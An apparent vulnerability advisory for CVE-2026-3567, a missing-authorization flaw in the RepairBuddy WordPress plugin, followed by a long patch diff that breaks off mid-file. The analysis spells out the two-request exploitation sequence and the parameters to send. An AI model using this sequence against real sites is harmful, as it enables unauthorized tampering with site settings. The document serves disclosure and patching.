Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 30, 2026

CVE-2026-3567: RepairBuddy <= 4.1132 – Missing Authorization to Authenticated (Subscriber+) Plugin Settings Modification via wc_rep_shop_settings_submission AJAX Action (computer-repair-shop)

CVE ID CVE-2026-3567
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 4.1132
Patched Version 4.1133
Disclosed March 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3567:
This vulnerability in the RepairBuddy WordPress plugin (versions ≤4.1132) allows authenticated users with subscriber-level permissions or higher to modify administrative plugin settings. The flaw combines two AJAX handlers that bypass authorization checks, enabling unauthorized configuration changes.

The root cause lies in two functions within the plugin’s AJAX handlers. First, the wc_rb_get_fresh_nonce() function (registered via wp_ajax and wp_ajax_nopriv hooks) generates valid WordPress nonces for any arbitrary action name provided via the nonce_name parameter without capability verification. Second, the wc_rep_shop_settings_submission() function in the plugin’s settings handler only validates the nonce (wcrb_main_setting_nonce) but lacks any current_user_can() capability check before updating plugin options via update_option(). This missing authorization check occurs in the main plugin file’s AJAX registration and the settings submission logic.

Exploitation requires two sequential HTTP requests. An attacker first POSTs to /wp-admin/admin-ajax.php with action=wc_rb_get_fresh_nonce and nonce_name=wcrb_main_setting_nonce to obtain a valid nonce. The attacker then POSTs to the same endpoint with action=wc_rep_shop_settings_submission, the freshly generated nonce, and any of the 15+ plugin setting parameters like wcrb_business_name, wcrb_business_email, wcrb_business_logo, wcrb_menu_label, or wcrb_gdpr_consent_text. Subscriber-level authentication cookies must be included in both requests.

The patch in version 4.1133 adds capability checks to both vulnerable functions. The wc_rb_get_fresh_nonce() function now verifies the user has appropriate permissions before generating nonces. The wc_rep_shop_settings_submission() function now includes a current_user_can(‘manage_options’) check before processing settings updates. These changes restrict nonce generation and settings modification to users with administrative privileges only.

Successful exploitation allows attackers to modify all plugin configuration settings including business identity, contact information, GDPR consent text, booking preferences, and system behavior. This could enable business impersonation, data collection policy violations, booking system disruption, or preparation for further attacks by modifying email settings or system labels. The vulnerability does not provide direct code execution but enables complete control over plugin functionality and business representation.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/computer-repair-shop/computer_repair_shop.php
+++ b/computer-repair-shop/computer_repair_shop.php
@@ -3,7 +3,7 @@
 	Plugin Name: CRM WordPress Plugin - RepairBuddy
 	Plugin URI: https://www.webfulcreations.com/
 	Description: WordPress CRM Plugin which helps you manage your jobs, parts, services and extras better client and jobs management system.
-	Version: 4.1132
+	Version: 4.1133
 	Author: Webful Creations
 	Author URI: https://www.webfulcreations.com/
 	License: GPLv2 or later.
@@ -14,7 +14,7 @@
 	Tested up to: 6.9
 	Requires PHP: 8.1

-	@package : 4.1132
+	@package : 4.1133
  */
 if ( ! defined( 'ABSPATH' ) ) {
 	exit;
@@ -22,7 +22,7 @@
 if ( ! defined( 'DS' ) ) {
 	define( 'DS', '/' ); // Defining Directory seprator, not using php default Directory seprator to avoide problem in windows.
 }
-define( 'WC_CR_SHOP_VERSION', '4.1132' );
+define( 'WC_CR_SHOP_VERSION', '4.1133' );

 if ( ! function_exists( 'wc_language_plugin_init' ) ) :
 	/**
--- a/computer-repair-shop/lib/includes/classes/class-booking-settings.php
+++ b/computer-repair-shop/lib/includes/classes/class-booking-settings.php
@@ -58,6 +58,17 @@

 		$setting_body .= '<div class="wc-rb-grey-bg-box">';
 		$setting_body .= '<h2>' . esc_html__( 'Booking Email To Customer', 'computer-repair-shop' ) . '</h2>';
+
+		$setting_body .= '<table><tr>
+							<th>
+								<label for="wcrb_turn_off_booking_attachment"><strong>
+									' . esc_html__( 'Disable PDF Attachment With Booking?', 'computer-repair-shop' ) . '
+								</strong></label>
+							</th>
+							<td>
+								<input type="checkbox" name="wcrb_turn_off_booking_attachment" id="wcrb_turn_off_booking_attachment" value="YES" ' . checked( get_option( 'wcrb_turn_off_booking_attachment' ), 'YES', false ) . ' />
+							</td></tr></table>';
+
 		$setting_body .= '<div class="grid-container"><div class="grid-x grid-padding-x">';

 		$menu_name_p 	= get_option( 'blogname' );
@@ -302,7 +313,9 @@
 			$wcrb_turn_off_service_price 	   = ( ! isset( $_POST['wcrb_turn_off_service_price'] ) ) ? '' : sanitize_text_field( $_POST['wcrb_turn_off_service_price'] );
 			$wcrb_turn_off_idimei_booking 	   = ( ! isset( $_POST['wcrb_turn_off_idimei_booking'] ) ) ? '' : sanitize_text_field( $_POST['wcrb_turn_off_idimei_booking'] );
 			$wcrb_turn_off_captcha			   = ( ! isset( $_POST['wcrb_turn_off_captcha'] ) ) ? '' : sanitize_text_field( $_POST['wcrb_turn_off_captcha'] );
+			$wcrb_turn_off_booking_attachment  = ( ! isset( $_POST['wcrb_turn_off_booking_attachment'] ) ) ? '' : sanitize_text_field( $_POST['wcrb_turn_off_booking_attachment'] );

+			update_option( 'wcrb_turn_off_booking_attachment', $wcrb_turn_off_booking_attachment );
 			update_option( 'wcrb_turn_booking_forms_to_jobs', 	$wcrb_turn_booking_forms_to_jobs );
 			update_option( 'wcrb_turn_off_other_device_brands', $wcrb_turn_off_other_device_brands );
 			update_option( 'wcrb_turn_off_idimei_booking', 		$wcrb_turn_off_idimei_booking );
--- a/computer-repair-shop/lib/includes/classes/class-customers-management.php
+++ b/computer-repair-shop/lib/includes/classes/class-customers-management.php
@@ -546,7 +546,7 @@
             $placeholder = isset($field_config['placeholder']) ? $field_config['placeholder'] : '';
             $field_type = isset($field_config['type']) ? $field_config['type'] : 'text';

-            $html .= '<label>' . esc_html($label);
+            $html .= '<label>' . esc_html($label) . ($required ? ' *' : '') . '';

             // Generate input based on type
             switch ($field_type) {
--- a/computer-repair-shop/lib/includes/classes/class-duplicate_job.php
+++ b/computer-repair-shop/lib/includes/classes/class-duplicate_job.php
@@ -149,7 +149,8 @@
 			$WCRB_JOB_HISTORY_LOGS->wc_record_job_history( $args );

 			if ( isset( $_POST['wcrb_redirect_to'] ) && ! empty( $_POST['wcrb_redirect_to'] ) ) {
-				$redirect_url = add_query_arg( array( 'screen' => 'edit-job', 'job_id' => $new_job_id ), sanitize_url( $_POST['wcrb_redirect_to'] ) );
+				//$redirect_url = add_query_arg( array( 'screen' => 'edit-job', 'job_id' => $new_job_id ), sanitize_url( $_POST['wcrb_redirect_to'] ) );
+				$redirect_url = admin_url( 'post.php?post=' . $new_job_id . '&action=edit' );
 			} else {
 				$redirect_url = admin_url( 'post.php?post=' . $new_job_id . '&action=edit' );
 			}
--- a/computer-repair-shop/lib/includes/classes/class-emails.php
+++ b/computer-repair-shop/lib/includes/classes/class-emails.php
@@ -93,8 +93,12 @@
         $_claim = get_post_meta( $job_id, '_wcrb_order_type_select', true );
         $subject = ( $_claim == 'claim' ) ? esc_html__( 'Warranty Claim', 'computer-repair-shop' ) . ' | ' . $subject : $subject;

-        $_arguments = array( 'attach_pdf_invoice' => $job_id );
+        $_attachpdf = get_option( 'wcrb_turn_off_booking_attachment' );

+        $_arguments = '';
+        if ( $_attachpdf != 'YES' ) {
+            $_arguments = array( 'attach_pdf_invoice' => $job_id );
+        }
         $this->send_email( $mailto, $subject, $body_message, $_arguments );

         //Add Job history
--- a/computer-repair-shop/lib/includes/classes/class-reports_customers.php
+++ b/computer-repair-shop/lib/includes/classes/class-reports_customers.php
@@ -1,503 +1,604 @@
 <?php
 /**
- * Handles the SMS integration and sending
- *
- * Help setup pages to they can be used in notifications and other items
+ * Handles customer reports
  *
  * @package computer-repair-shop
- * @version 3.7947
+ * @version 3.8
  */

 defined( 'ABSPATH' ) || exit;

 class REPORT_CUSTOMERS {

-	function generate_form_output_jobs_by_customer( $type, $range ) {
-		if(empty($type)) {
-			return;
-		}
-		if(empty($range)) {
-			return;
-		}
-		$content = '<div id="invoice-box" class="invoice-box">';
-
-		if ( $type == "date_range" || $type == 'customers_summary' ) {
-			$today = date("Y-m-d");
-
-			$content .= "<h2 class='text-center select-head'>".esc_html__("Select options to generate report", "computer-repair-shop")."</h2>";
-
-			$content .= "<form method='get' action=''>";
-
-			$content .= '<div class="grid-container">';
-			$content .= '<div class="grid-x grid-margin-x">';
-
-			$content .= '<div class="medium-6 cell">';
-			$content .= '<label>'.esc_html__("From Date", "computer-repair-shop");
-			$content .= '<input type="date" name="start_date" value="'.$today.'">';
-			$content .= '</label>';
-			$content .= '</div>';
-
-			$content .= '<div class="medium-6 cell">';
-			$content .= '<label>'.esc_html__("To Date", "computer-repair-shop");
-			$content .= '<input type="date" name="end_date" value="'.$today.'">';
-			$content .= '</label>';
-			$content .= '</div>';
-
-			if ( $type !== 'customers_summary' ) {
-				$content .= '<div class="medium-12 cell">';
-				$content .= '<label>' . esc_html__( 'Select Customer', 'computer-repair-shop' );
-				$content .= wcrb_return_customer_select_options( '', 'customer', 'updatenone' );
-				$content .= '</label>';
-				$content .= '</div>';
-			}
-			$content .= '</div></div>';
-
-			$content .= '<fieldset class="fieldset">
-						<legend>'.esc_html__( "Dates to include", "computer-repair-shop" ).'</legend>';
-
-			$content .= '<input checked name="date_to_include[]" value="creation_date" id="date_to_include" type="checkbox">';
-			$content .= '<label for="date_to_include">' . esc_html__( 'Creation date', 'computer-repair-shop' ).'</label>';
-
-			$content .= '<input checked name="date_to_include[]" value="last_modified" id="date_to_include_mod" type="checkbox">';
-			$content .= '<label for="date_to_include_mod">' . esc_html__( 'Last modified date', 'computer-repair-shop' ).'</label>';
-
-			$content .= '</fieldset>';
-
-			$content .= '<fieldset class="fieldset">
-						<legend>'.esc_html__("Select job status to include", "computer-repair-shop").'</legend>';
-
-			$content .= wc_generate_status_checkboxes();
-
-			$content .= '</fieldset>';
-
-			$content .= '<fieldset class="fieldset">
-						<legend>'.esc_html__("Select payment status to include", "computer-repair-shop").'</legend>';
-
-			$content .= wc_generate_payment_status_checkboxes();
-
-			$content .= '</fieldset>';
-
-			$content .= '<input type="hidden" name="page" value="wc_computer_repair_print" />';
-			$content .= '<input type="hidden" name="print_reports" value="YES" />';
-			if ( $type == 'customers_summary' ) {
-				$content .= '<input type="hidden" name="report_type" value="customers_summary" />';
-			} else {
-				$content .= '<input type="hidden" name="report_type" value="jobs_by_customer" />';
-			}
-			$content .= '<input type="submit" class="button button-primary" value="'.esc_html__("Generate Report", "computer-repair-shop").'">';
-			$content .= "</form>";
-		}
-		$content .= '</div>';
-
-		$allowedHTML = wc_return_allowed_tags();
-		echo wp_kses($content, $allowedHTML);
-	}
-
-	function wc_generate_customer_report( $arges ) {
-		if ( ! isset( $arges["report_type"] ) || empty( $arges["report_type"] ) ) {
-			return esc_html__( "Report is not defined", "computer-repair-shop" );
-		}
-		$arges['job_status_include']     = ( isset( $_GET['job_status_include'] ) ) ? array_map( 'sanitize_text_field', $_GET['job_status_include'] ) : '';
-		$arges['payment_status_include'] = ( isset( $_GET['payment_status_include'] ) ) ? array_map( 'sanitize_text_field', $_GET['payment_status_include'] ) : '';
-		$job_status_include             = (!isset($arges["job_status_include"]) || empty($arges["job_status_include"])) ? "" : $arges["job_status_include"];
-		$payment_status_include         = (!isset($arges["payment_status_include"]) || empty($arges["payment_status_include"])) ? "" : $arges["payment_status_include"];
-
-		$report_heading     = "unknown";
-		$customer 		= ( isset( $arges['customer'] ) && ! empty( $arges['customer'] ) ) ? $arges['customer'] : '';
-		$CusfullName		= esc_html__( 'Customer', 'computer-repair-shop' );
-
-		if ( ! empty( $customer ) ) {
-			$customer_obj = get_user_by( 'id', $customer );
-			$CusfullName = $customer_obj->first_name . ' ' . $customer_obj->last_name;
-		}
-		if ( $arges["report_type"] == "jobs_by_customer" ) {
-			$report_heading = esc_html__( "Jobs Summary By - ", "computer-repair-shop" ) . esc_html( $CusfullName ) ;
-		}
-
-		$from_date  = ( ! empty( $arges["start_date"] ) ) ? $arges["start_date"] : "2020-01-01";
-		$to_date    = ( ! empty( $arges["end_date"] ) ) ? $arges["end_date"] : "2025-01-01";
-
-		$content = '<div class="invoice-box report-container">';
-		$content .= wc_get_report_head( $report_heading );
-
-		$content .= '<div id="table_div">';
-		$content .= '<div class="wc-rb-report-title"><h2>' . esc_html( $report_heading ) . '</h2></div>';
-
-		$date_format = get_option('date_format');
-
-		$from_date_fr  = (!empty($from_date)) ? date($date_format, strtotime($from_date)) : "";
-		$to_date_fr    = (!empty($to_date)) ? date($date_format, strtotime($to_date)) : "";
-
-		$content .= '<div class="wc-rb-report-period">';
-		$content .= '<p><span class="todayDate"><strong>'.esc_html__("Today", "computer-repair-shop").':</strong> '.date($date_format).' </span><span class="statementPeriod"><strong>';
-		$content .= esc_html__("Statement Period", "computer-repair-shop").':</strong> '.$from_date_fr.' - '.$to_date_fr . '</span></p>';
-
-		$wc_device_label        = ( empty( get_option( 'wc_device_label' ) ) ) ? esc_html__( 'Device', 'computer-repair-shop' ) : get_option( 'wc_device_label' );
-
-		$dateto_include = 'both';
-		if ( isset( $_GET['date_to_include'] ) && is_array( $_GET['date_to_include'] ) ) {
-			if ( in_array( 'last_modified', $_GET['date_to_include'] ) && in_array( 'creation_date', $_GET['date_to_include'] ) ) {
-				$dateto_include = 'both';
-			} elseif ( in_array( 'last_modified', $_GET['date_to_include'] ) ) {
-				$dateto_include = 'modified';
-			} elseif ( in_array( 'creation_date', $_GET['date_to_include'] ) ) {
-				$dateto_include = 'creation';
-			}
-		}
-
-		$content .= '</div><!--account_info -->
-		<div class="clearIt"></div>
-		<table class="invoice-items">
-			<thead>';
-
-		$content .= '<tr class="heading special_head">
-						<td>'.esc_html__("Date", "computer-repair-shop").'</td>
-						<td>'.esc_html__("Customer", "computer-repair-shop") . '/' . $wc_device_label . '/' . esc_html__("Tech", "computer-repair-shop") . '</td>
-						<td>'.esc_html__("Delivery", "computer-repair-shop").'</td>
-						<td>'.esc_html__("Status", "computer-repair-shop").'</td>
-						<td>'.esc_html__("Payment", "computer-repair-shop").'</td>
-						<td>'.esc_html__("Parts", "computer-repair-shop").'</td>
-						<td>'.esc_html__("Services", "computer-repair-shop").'</td>
-						<td>'.esc_html__("Extras", "computer-repair-shop").'</td>
-						<td>'.esc_html__("Tax", "computer-repair-shop").'</td>
-						<td>'.esc_html__("Total", "computer-repair-shop").'</td>
-					</tr>
-				</thead>';
-
-		$content .= '<tbody>';
-
-		$arguments = array(
-			"report_type"               => $arges["report_type"],
-			"job_status_include"        => $job_status_include,
-			"payment_status_include"    => $payment_status_include,
-			"customer"					=> $customer,
-			"date_include"           	=> $dateto_include,
-		);
-		$get_job_data = wc_return_job_ids_by_filters( $from_date, $to_date, $arguments );
-
-		$content .= $get_job_data["the_content"];
-
-		$content .= '</tbody>
-		</table>';
-
-		$content .= '<div class="invoice_totals">
-						<table style="max-width:100%;">
-							<tbody>
-								<tr>
-									<th>' . esc_html__("Parts Total", "computer-repair-shop") . '</th>
-									<td>' . wc_cr_currency_format( $get_job_data["parts_grand_total"], FALSE, TRUE ) .'</td>
-								</tr><tr>
-									<th>' . esc_html__("Services Total", "computer-repair-shop") . '</th>
-									<td>' . wc_cr_currency_format( $get_job_data["services_grand_total"], FALSE, TRUE ) . '</td>
-									</tr><tr>
-									<th>' . esc_html__("Extras Total", "computer-repair-shop") . '</th>
-									<td>' . wc_cr_currency_format( $get_job_data["extras_grand_total"], FALSE, TRUE ) . '</td>
-									</tr><tr>
-									<th>' . esc_html__("Taxes Total", "computer-repair-shop") . '</th>
-									<td>' . wc_cr_currency_format( $get_job_data["taxes_grand_total"], FALSE, TRUE ) . '</td>
-									</tr><tr>
-									<th>' . esc_html__("Grand Total", "computer-repair-shop") . '</th>
-									<td>' . wc_cr_currency_format( $get_job_data["statement_grand_total"], TRUE, TRUE ) . '</td>
-								</tr>
-							</tbody>
-						</table>
-					</div>';
-		if ( ! wc_rs_license_state() ) :
-			$content .= wc_cr_new_purchase_link("");
-		endif;
-		$content .= '<p align="center">'.esc_html__("This is computer generated statement does not need signature.", "computer-repair-shop").'</p>
-		</div>';
-
-		$content .= '<button id="btnPrint" class="hidden-print button button-primary">'.esc_html__("Print", "computer-repair-shop").'</button>';
-		$content .= '</div><!-- Invoice Box /-->';
-
-		$allowedHTML = wc_return_allowed_tags();
-		echo wp_kses( $content, $allowedHTML );
-	}
-
-	function wc_generate_customers_summary( $arges ) {
-		if ( ! isset( $arges["report_type"] ) || empty( $arges["report_type"] ) ) {
-			return esc_html__( "Report is not defined", "computer-repair-shop" );
-		}
-		$arges['job_status_include']     = ( isset( $_GET['job_status_include'] ) ) ? array_map( 'sanitize_text_field', $_GET['job_status_include'] ) : '';
-		$arges['payment_status_include'] = ( isset( $_GET['payment_status_include'] ) ) ? array_map( 'sanitize_text_field', $_GET['payment_status_include'] ) : '';
-		$job_status_include             = (!isset($arges["job_status_include"]) || empty($arges["job_status_include"])) ? "" : $arges["job_status_include"];
-		$payment_status_include         = (!isset($arges["payment_status_include"]) || empty($arges["payment_status_include"])) ? "" : $arges["payment_status_include"];
-
-		$report_heading     = "unknown";
-
-		if ( $arges["report_type"] == "customers_summary" ) {
-			$report_heading = esc_html__( "Customers Job Summary", "computer-repair-shop" );
-		}
-		$from_date  = ( ! empty( $arges["start_date"] ) ) ? $arges["start_date"] : "2020-01-01";
-		$to_date    = ( ! empty( $arges["end_date"] ) ) ? $arges["end_date"] : "2025-01-01";
-
-		$content = '<div class="invoice-box report-container">';
-		$content .= wc_get_report_head( $report_heading );
-
-		$content .= '<div id="table_div">';
-		$content .= '<div class="wc-rb-report-title"><h2>' . esc_html( $report_heading ) . '</h2></div>';
-
-		$date_format = get_option( 'date_format' );
-
-		$from_date_fr  = ( ! empty( $from_date ) ) ? date( $date_format, strtotime( $from_date ) ) : "";
-		$to_date_fr    = ( ! empty( $to_date ) ) ? date( $date_format, strtotime( $to_date ) ) : "";
-
-		$content .= '<div class="wc-rb-report-period">';
-		$content .= '<p><span class="todayDate"><strong>'.esc_html__("Today", "computer-repair-shop").':</strong> '.date($date_format).' </span><span class="statementPeriod"><strong>';
-		$content .= esc_html__("Statement Period", "computer-repair-shop").':</strong> '.$from_date_fr.' - '.$to_date_fr . '</span></p>';
-
-		$wc_device_label        = ( empty( get_option( 'wc_device_label' ) ) ) ? esc_html__( 'Device', 'computer-repair-shop' ) : get_option( 'wc_device_label' );
-
-		$content .= '</div><!--account_info -->
-		<div class="clearIt"></div>
-		<table class="invoice-items">
-			<thead>';
-
-		$content .= '<tr class="heading special_head">
-						<td>'.esc_html__("Sr#", "computer-repair-shop") . '</td>
-						<td>'.esc_html__("Customer", "computer-repair-shop") . '</td>
-						<td>'.esc_html__("Jobs", "computer-repair-shop") . '</td>
-						<td>'.esc_html__("Parts", "computer-repair-shop").'</td>
-						<td>'.esc_html__("Services", "computer-repair-shop").'</td>
-						<td>'.esc_html__("Extras", "computer-repair-shop").'</td>
-						<td>'.esc_html__("Tax", "computer-repair-shop").'</td>
-						<td>'.esc_html__("Total", "computer-repair-shop").'</td>
-					</tr>
-				</thead>';
-		$content .= '<tbody>';
-
-		$dateto_include = 'both';
-		if ( isset( $_GET['date_to_include'] ) && is_array( $_GET['date_to_include'] ) ) {
-			if ( in_array( 'last_modified', $_GET['date_to_include'] ) && in_array( 'creation_date', $_GET['date_to_include'] ) ) {
-				$dateto_include = 'both';
-			} elseif ( in_array( 'last_modified', $_GET['date_to_include'] ) ) {
-				$dateto_include = 'modified';
-			} elseif ( in_array( 'creation_date', $_GET['date_to_include'] ) ) {
-				$dateto_include = 'creation';
-			}
-		}
-
-		$arguments = array(
-			"report_type"            => $arges["report_type"],
-			"job_status_include"     => $job_status_include,
-			"payment_status_include" => $payment_status_include,
-			"date_include"           => $dateto_include,
-		);
-		$get_job_data = $this->wc_return_customers_job_summary( $from_date, $to_date, $arguments );
-
-		$content .= ( isset( $get_job_data['the_content'] ) && ! empty( $get_job_data['the_content'] ) ) ? $get_job_data['the_content'] : '';
-
-		//Process array here.
-		if ( ! isset( $get_job_data['the_content'] ) && is_array( $get_job_data ) ) {
-			$counter = 0;
-			foreach( $get_job_data as $techId => $techJobs ) {
-				$counter++;
-				$content .= "<tr class='item-row wc_extra_row'>";
-				$content .= '<td>' . esc_html( $counter ) . '</td>';
-				$techName = ( $techId == 'empty' ) ? esc_html__( 'Undefined', 'computer-repair-shop' ) : 'gettechname';
-				if ( $techName == 'gettechname' ) {
-					$user = get_user_by( 'id', $techId );
-                    $first_name = empty($user->first_name)? "" : $user->first_name;
-                    $last_name 	= empty($user->last_name)? "" : $user->last_name;
-					$techName = $first_name . ' ' . $last_name;
-				}
-				$content .= '<td>' . esc_html( $techName ) . '</td>';
-				$content .= '<td>' . esc_html( count( $techJobs ) ) . '</td>';
-
-				$partsTotal = $servicesTotal = $extrasTotal = $taxTotal = $grandTotal = 0;
-				foreach( $techJobs as $theJob ) {
-					$partsTotal    += (float)$theJob['parts_grand'];
-					$servicesTotal += (float)$theJob['services_total'];
-					$extrasTotal   += (float)$theJob['extras_total'];
-					$taxTotal 	   += (float)$theJob['tax_total'];
-					$grandTotal    += (float)$theJob['order_total'];
-				}
-				$content .= '<td>' . esc_html( wc_cr_currency_format( $partsTotal, FALSE, TRUE ) ) . '</td>';
-				$content .= '<td>' . esc_html( wc_cr_currency_format( $servicesTotal, FALSE, TRUE ) ) . '</td>';
-				$content .= '<td>' . esc_html( wc_cr_currency_format( $extrasTotal, FALSE, TRUE ) ) . '</td>';
-				$content .= '<td>' . esc_html( wc_cr_currency_format( $taxTotal, FALSE, TRUE ) ) . '</td>';
-				$content .= '<td>' . esc_html( wc_cr_currency_format( $grandTotal, TRUE, TRUE ) ) . '</td>';
-				$content .= "</tr>";
-			}
-		}
-		$content .= '</tbody>
-		</table>';
-
-		$content .= '<div class="invoice_totals">
-					</div>';
-		if ( ! wc_rs_license_state() ) :
-			$content .= wc_cr_new_purchase_link("");
-		endif;
-		$content .= '<p align="center">'.esc_html__("This is computer generated statement does not need signature.", "computer-repair-shop").'</p>
-		</div>';
-
-		$content .= '<button id="btnPrint" class="hidden-print button button-primary">'.esc_html__("Print", "computer-repair-shop").'</button>';
-		$content .= '</div><!-- Invoice Box /-->';
-
-		$allowedHTML = wc_return_allowed_tags();
-		echo wp_kses( $content, $allowedHTML );
-	}
-
-	function wc_return_customers_job_summary( $from_date, $end_date, $arges ) {
-		if ( ! is_user_logged_in() ) {
-			return esc_html__("You are not logged in.", "computer-repair-shop");
-			exit;
-		}
-		global $wpdb;
-
-		//Get Arguments here. Getting
-		//Start working here ATeeq
-		// Check Array if not then fix it and work on it.
-		$modify_str = $start_date = ( ! empty( $from_date ) ) ? date('Y-m-d H:i:s', strtotime( str_replace( '-', '/', $from_date ) ) ) : "2020-01-01";
-		$modify_end = $end_date   = ( ! empty( $end_date ) ) ? date('Y-m-d H:i:s', strtotime( str_replace( '-', '/', $end_date ) ) ) : "2025-01-01";
-		$job_status     = (!empty($arges["job_status_include"])) ? $arges["job_status_include"] : array();
-		$payment_status = (!empty($arges["payment_status_include"])) ? $arges["payment_status_include"] : array();
-		$report_type    = (!empty($arges["report_type"])) ? $arges["report_type"] : "daily_sales_summary";
-
-		//Query posts.
-		if ( isset( $arges['date_include'] ) && $arges['date_include'] == 'creation' ) {
-			//Creation date only
-			$sql_query = "SELECT
-						`ID`
-					FROM
-						`".$wpdb->prefix."posts`
-					WHERE
-						`post_type`='rep_jobs'
-					AND
-						(`post_date` between '%s' and '%s')
-					";
-			$query = $wpdb->prepare( $sql_query, $start_date, $end_date );
-		} elseif ( isset( $arges['date_include'] ) && $arges['date_include'] == 'modified' ) {
-			//Modified
-			$sql_query = "SELECT
-						`ID`
-					FROM
-						`".$wpdb->prefix."posts`
-					WHERE
-						`post_type`='rep_jobs'
-					AND
-						(`post_modified` between '%s' and '%s')
-					";
-			$query = $wpdb->prepare( $sql_query, $modify_str, $modify_end );
-
-		} else {
-			$sql_query = "SELECT
-						`ID`
-					FROM
-						`".$wpdb->prefix."posts`
-					WHERE
-						`post_type`='rep_jobs'
-					AND
-						(`post_date` between '%s' and '%s'
-					OR
-						`post_modified` between '%s' and '%s')
-					";
-			$query = $wpdb->prepare( $sql_query, $start_date, $end_date, $modify_str, $modify_end );
-		}
-		$results = $wpdb->get_results( $query, ARRAY_A ); // phpcs:ignore WordPress.DB.DirectDatabaseQuery
-		$posts_discovered_in_date = array();
-
-		if ( ! empty( $results ) ) {
-			foreach( $results as $result ) {
-				$posts_discovered_in_date[] = $result['ID'];
-			}
-		}
-
-		if ( empty( $posts_discovered_in_date ) ) {
-			$return_array = array(
-				"the_content" => esc_html__("Couldn't find any post related to given date range.", "computer-repair-shop"),
-			);
-			return $return_array;
-		}
-
-		$meta_query_arr = array();
-
-		if ( ! empty( $job_status ) ) {
-			$meta_query_arr[] = array(
-				'key'		=> "_wc_order_status",
-				'value'		=> wc_rb_sanitize_non_index_array( $job_status ),
-				'compare'	=> 'IN',
-			);
-		}
-		if ( ! empty( $payment_status ) ) {
-			$meta_query_arr[] = array(
-				'key'		=> "_wc_payment_status",
-				'value'		=> wc_rb_sanitize_non_index_array($payment_status),
-				'compare'	=> 'IN',
-			);
-		}
-		if ( isset( $customer ) && ! empty( $customer ) ) {
-			$meta_query_arr[] = array(
-				'key'   => '_customer',
-				'value' => sanitize_text_field( $customer ),
-				'compare' => '=',
-				'type'    => 'NUMERIC',
-			);
-		}
-		//WordPress Query for Rep Jobs
-		$jobs_args = array(
-			'post_type' 		=> "rep_jobs",
-			'orderby'			=> 'id',
-			'order' 			=> 'DESC',
-			'posts_per_page' 	=> -1,
-			'post__in'          => wc_rb_sanitize_non_index_array( $posts_discovered_in_date ),
-			'post_status'		=> array( 'publish', 'pending', 'future', 'draft', 'private' ),
-			'meta_query' 		=> $meta_query_arr,
-		);
-
-		$jobs_query         = new WP_Query( $jobs_args );
-
-		$array_jobs = array();
-		if($jobs_query->have_posts()): while($jobs_query->have_posts()):
-			$jobs_query->the_post();
-
-			$job_id 		= $jobs_query->post->ID;
-			$case_number 	= get_post_meta( $job_id, "_case_number", true );
-			$order_date 	= get_the_date( 'd/m/Y', $job_id );
-			$payment_status = get_post_meta($job_id, "_wc_payment_status_label", true);
-			$job_status		= get_post_meta($job_id, "_wc_order_status_label", true);
-			$techncuician 	= get_post_meta($job_id, "_technician", true);
-			$customer 	    = get_post_meta($job_id, "_customer", true);
-
-			//Getting Totals
-			$order_total 	= filter_var(wc_order_grand_total($job_id, "grand_total"), FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION);
-			$parts_total 	= filter_var(wc_order_grand_total($job_id, "parts_total"), FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION);
-			$products_total	= filter_var(wc_order_grand_total($job_id, "products_total"), FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION);
-			$services_total	= filter_var(wc_order_grand_total($job_id, "services_total"), FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION);
-			$extras_total	= filter_var(wc_order_grand_total($job_id, "extras_total"), FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION);
-
-			$parts_tax	    = filter_var(wc_order_grand_total($job_id, "parts_tax"), FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION);
-			$products_tax	= filter_var(wc_order_grand_total($job_id, "products_tax"), FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION);
-			$services_tax	= filter_var(wc_order_grand_total($job_id, "services_tax"), FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION);
-			$extras_tax	    = filter_var(wc_order_grand_total($job_id, "extras_tax"), FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION);
-
-			$parts_grand    = (float)$parts_total+(float)$products_total;
-			$parts_grand    = (float)$parts_grand-(float)$parts_tax-(float)$products_tax;
-			$extras_total   = (float)$extras_total-(float)$extras_tax;
-			$services_total = (float)$services_total-(float)$services_tax;
-
-			$tax_total      = (float)$parts_tax+(float)$products_tax+(float)$services_tax+(float)$extras_tax;
-
-			$customer = ( ! empty( $customer ) ) ? $customer : 'empty';
-			$array_jobs[$customer][] = array(
-				'job_id' 		 => $job_id,
-				'$case_number' 	 => $case_number,
-				'order_date' 	 => $order_date,
-				'payment_status' => $payment_status,
-				'job_status' 	 => $job_status,
-				'customer' 		 => $customer,
-				'parts_grand' 	 => $parts_grand,
-				'services_total' => $services_total,
-				'extras_total' 	 => $extras_total,
-				'tax_total' 	 => $tax_total,
-				'order_total' 	 => $order_total,
-			);
-		endwhile; endif;
-
-		wp_reset_postdata();
-
-		$return_array = $array_jobs;
-		return $return_array;
-	}
+    /**
+     * Generate the report selection form
+     */
+    public function generate_form_output_jobs_by_customer( $type, $range ) {
+        if ( empty( $type ) || empty( $range ) ) {
+            return;
+        }
+
+        $content = '<div id="invoice-box" class="invoice-box">';
+
+        if ( $type == "date_range" || $type == 'customers_summary' ) {
+            // Use WordPress timezone for today's date
+            $today = current_time( 'Y-m-d' );
+
+            $content .= "<h2 class='text-center select-head'>" . esc_html__( "Select options to generate report", "computer-repair-shop" ) . "</h2>";
+            $content .= "<form method='get' action=''>";
+            $content .= '<div class="grid-container">';
+            $content .= '<div class="grid-x grid-margin-x">';
+
+            $content .= '<div class="medium-6 cell">';
+            $content .= '<label>' . esc_html__( "From Date", "computer-repair-shop" );
+            $content .= '<input type="date" name="start_date" value="' . $today . '">';
+            $content .= '</label>';
+            $content .= '</div>';
+
+            $content .= '<div class="medium-6 cell">';
+            $content .= '<label>' . esc_html__( "To Date", "computer-repair-shop" );
+            $content .= '<input type="date" name="end_date" value="' . $today . '">';
+            $content .= '</label>';
+            $content .= '</div>';
+
